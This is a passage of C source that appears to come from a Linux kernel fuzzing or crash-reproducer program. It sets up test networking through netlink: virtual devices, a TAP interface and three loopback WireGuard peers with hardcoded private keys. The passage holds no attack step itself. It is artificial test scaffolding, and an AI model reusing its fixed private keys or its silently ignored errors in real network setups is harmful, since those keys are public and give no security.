netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link) { netlink_add_device_impl(nlmsg, "macvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); uint32_t mode = MACVLAN_MODE_BRIDGE; netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6) { netlink_add_device_impl(nlmsg, "geneve", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } #define IFLA_IPVLAN_FLAGS 2 #define IPVLAN_MODE_L3S 2 #undef IPVLAN_F_VEPA #define IPVLAN_F_VEPA 2 static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags) { netlink_add_device_impl(nlmsg, "ipvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); if (err < 0) { } } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); if (err < 0) { } } static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name, const void* addr, int addrsize, const void* mac, int macsize) { struct ndmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ndm_ifindex = if_nametoindex(name); hdr.ndm_state = NUD_PERMANENT; netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, NDA_DST, addr, addrsize); netlink_attr(nlmsg, NDA_LLADDR, mac, macsize); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static struct nlmsg nlmsg; static int tunfd = -1; #define TUN_IFACE "syz_tun" #define LOCAL_MAC 0xaaaaaaaaaaaa #define REMOTE_MAC 0xaaaaaaaaaabb #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 240; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { exit(1); } char sysctl[64]; sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE); write_file(sysctl, "0"); sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE); write_file(sysctl, "0"); int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4); netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6); uint64_t macaddr = REMOTE_MAC; struct in_addr in_addr; inet_pton(AF_INET, REMOTE_IPV4, &in_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN); struct in6_addr in6_addr; inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN); macaddr = LOCAL_MAC; netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL); close(sock); } #define DEVLINK_FAMILY_NAME "devlink" #define DEVLINK_CMD_PORT_GET 5 #define DEVLINK_ATTR_BUS_NAME 1 #define DEVLINK_ATTR_DEV_NAME 2 #define DEVLINK_ATTR_NETDEV_NAME 7 static struct nlmsg nlmsg2; static void initialize_devlink_ports(const char* bus_name, const char* dev_name, const char* netdev_prefix) { struct genlmsghdr genlhdr; int len, total_len, id, err, offset; uint16_t netdev_index; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) exit(1); int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rtsock == -1) exit(1); id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); if (id == -1) goto error; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = DEVLINK_CMD_PORT_GET; netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); if (err < 0) { goto error; } offset = 0; netdev_index = 0; while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { char* port_name; char netdev_name[IFNAMSIZ]; port_name = (char*)(attr + 1); snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index); netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name); break; } } offset += len; netdev_index++; } error: close(rtsock); close(sock); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02x" #define DEV_MAC 0x00aaaaaaaaaa static void netdevsim_add(unsigned int addr, unsigned int port_count) { char buf[16]; sprintf(buf, "%u %u", addr, port_count); if (write_file("/sys/bus/netdevsim/new_device", buf)) { snprintf(buf, sizeof(buf), "netdevsim%d", addr); initialize_devlink_ports("netdevsim", buf, "netdevsim"); } } #define WG_GENL_NAME "wireguard" enum wg_cmd { WG_CMD_GET_DEVICE, WG_CMD_SET_DEVICE, }; enum wgdevice_attribute { WGDEVICE_A_UNSPEC, WGDEVICE_A_IFINDEX, WGDEVICE_A_IFNAME, WGDEVICE_A_PRIVATE_KEY, WGDEVICE_A_PUBLIC_KEY, WGDEVICE_A_FLAGS, WGDEVICE_A_LISTEN_PORT, WGDEVICE_A_FWMARK, WGDEVICE_A_PEERS, }; enum wgpeer_attribute { WGPEER_A_UNSPEC, WGPEER_A_PUBLIC_KEY, WGPEER_A_PRESHARED_KEY, WGPEER_A_FLAGS, WGPEER_A_ENDPOINT, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, WGPEER_A_LAST_HANDSHAKE_TIME, WGPEER_A_RX_BYTES, WGPEER_A_TX_BYTES, WGPEER_A_ALLOWEDIPS, WGPEER_A_PROTOCOL_VERSION, }; enum wgallowedip_attribute { WGALLOWEDIP_A_UNSPEC, WGALLOWEDIP_A_FAMILY, WGALLOWEDIP_A_IPADDR, WGALLOWEDIP_A_CIDR_MASK, }; static void netlink_wireguard_setup(void) { const char ifname_a[] = "wg0"; const char ifname_b[] = "wg1"; const char ifname_c[] = "wg2"; const char private_a[] = "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; const char private_b[] = "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; const char private_c[] = "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; const char public_a[] = "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; const char public_b[] = "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; const char public_c[] = "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; const uint16_t listen_a = 20001; const uint16_t listen_b = 20002; const uint16_t listen_c = 20003; const uint16_t af_inet = AF_INET; const uint16_t af_inet6 = AF_INET6; const struct sockaddr_in endpoint_b_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_b), .sin_addr = {htonl(INADDR_LOOPBACK)}}; const struct sockaddr_in endpoint_c_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_c), .sin_addr = {htonl(INADDR_LOOPBACK)}}; struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_a)}; endpoint_a_v6.sin6_addr = in6addr_loopback; struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_c)}; endpoint_c_v6.sin6_addr = in6addr_loopback; const struct in_addr first_half_v4 = {0}; const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; const struct in6_addr first_half_v6 = {{{0}}}; const struct in6_addr second_half_v6 = {{{0x80}}}; const uint8_t half_cidr = 1; const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; int sock; int id, err; sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) { return; } id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); if (id == -1) goto error; netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[0], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, sizeof(endpoint_c_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[1], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[2], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, sizeof(endpoint_c_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[3], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[4], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[5], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err < 0) { } error: close(sock); } static void initialize_netdevices(void) { char netdevsim[16]; sprintf(netdevsim, "netdevsim%d", (int)procid); struct { const char* type; const char* dev; } devtypes[] = { {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, {"netdevsim", netdevsim}, {"veth", 0}, {"xfrm", "xfrm0"}, {"wireguard", "wg0"}, {"wireguard", "wg1"}, {"wireguard", "wg2"}, }; const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; struct { const char* name; int macsize; bool noipv6; } devices[] = { {"lo", ETH_ALEN}, {"sit0", 0}, {"bridge0", ETH_ALEN}, {"vcan0", 0, true}, {"tunl0", 0}, {"gre0", 0}, {"gretap0", ETH_ALEN}, {"ip_vti0", 0}, {"ip6_vti0", 0}, {"ip6tnl0", 0}, {"ip6gre0", 0}, {"ip6gretap0", ETH_ALEN}, {"erspan0", ETH_ALEN}, {"bond0", ETH_ALEN}, {"veth0", ETH_ALEN}, {"veth1", ETH_ALEN}, {"team0", ETH_ALEN}, {"veth0_to_bridge", ETH_ALEN}, {"veth1_to_bridge", ETH_ALEN}, {"veth0_to_bond", ETH_ALEN}, {"veth1_to_bond", ETH_ALEN}, {"veth0_to_team", ETH_ALEN}, {"veth1_to_team", ETH_ALEN}, {"veth0_to_hsr", ETH_ALEN}, {"veth1_to_hsr", ETH_ALEN}, {"hsr0", 0}, {"dummy0", ETH_ALEN}, {"nlmon0", 0}, {"vxcan0", 0, true}, {"vxcan1", 0, true}, {"caif0", ETH_ALEN}, {"batadv0", ETH_ALEN}, {netdevsim, ETH_ALEN}, {"xfrm0", ETH_ALEN}, {"veth0_virt_wifi", ETH_ALEN}, {"veth1_virt_wifi", ETH_ALEN}, {"virt_wifi0", ETH_ALEN}, {"veth0_vlan", ETH_ALEN}, {"veth1_vlan", ETH_ALEN}, {"vlan0", ETH_ALEN}, {"vlan1", ETH_ALEN}, {"macvlan0", ETH_ALEN}, {"macvlan1", ETH_ALEN}, {"ipvlan0", ETH_ALEN}, {"ipvlan1", ETH_ALEN}, {"veth0_macvtap", ETH_ALEN}, {"veth1_macvtap", ETH_ALEN}, {"macvtap0", ETH_ALEN}, {"macsec0", ETH_ALEN}, {"veth0_to_batadv", ETH_ALEN}, {"veth1_to_batadv", ETH_ALEN}, {"batadv_slave_0", ETH_ALEN}, {"batadv_slave_1", ETH_ALEN}, {"geneve0", ETH_ALEN}, {"geneve1", ETH_ALEN}, {"wg0", 0}, {"wg1", 0}, {"wg2", 0}, }; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; sprintf(slave0, "%s_slave_0", devmasters[i]); sprintf(veth0, "veth0_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave0, veth0); sprintf(slave1, "%s_slave_1", devmasters[i]); sprintf(veth1, "veth1_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave1, veth1); sprintf(master, "%s0", devmasters[i]); netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); } netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi"); netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, IPVLAN_F_VEPA); netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); char addr[32]; sprintf(addr, DEV_IPV4, 14 + 10); struct in_addr geneve_addr4; if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) exit(1); struct in6_addr geneve_addr6; if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) exit(1); netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); netdevsim_add((int)procid, 4); netlink_wireguard_setup(); for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { char addr[32]; sprintf(addr, DEV_IPV4, i + 10); netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); if (!devices[i].noipv6) { sprintf(addr, DEV_IPV6, i + 10); netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); } uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, devices[i].macsize, NULL); } close(sock); } static void initialize_netdevices_init(void) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); struct { const char* type; int macsize; bool noipv6; bool noup; } devtypes[] = { {"nr", 7, true}, {"rose", 5, true, true}, }; unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { char dev[32], addr[32]; sprintf(dev, "%s%d", devtypes[i].type, (int)procid); sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); netlink_add_addr4(&nlmsg, sock, dev, addr); if (!devtypes[i].noipv6) { sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); netlink_add_addr6(&nlmsg, sock, dev, addr); } int macsize = devtypes[i].macsize; uint64_t macaddr = 0xbbbbbb + ((unsigned long long)i << (8 * (macsize - 2))) + (procid << (8 * (macsize - 1))); netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, macsize, NULL); } close(sock); } static int read_tun(char* data, int size) { if (tunfd < 0) return -1; int rv = read(tunfd, data, size); if (rv < 0) { if (errno == EAGAIN || errno == EBADFD) return -1; exit(1); } return rv; } static void flush_tun() { char data[1000]; while (read_tun(&data[0], sizeof(data)) != -1) { } } #define MAX_FDS 30 #define BTPROTO_HCI 1 #define ACL_LINK 1 #define SCAN_PAGE 2 typedef struct { uint8_t b[6]; } __attribute__((packed)) bdaddr_t; #define HCI_COMMAND_PKT 1 #define 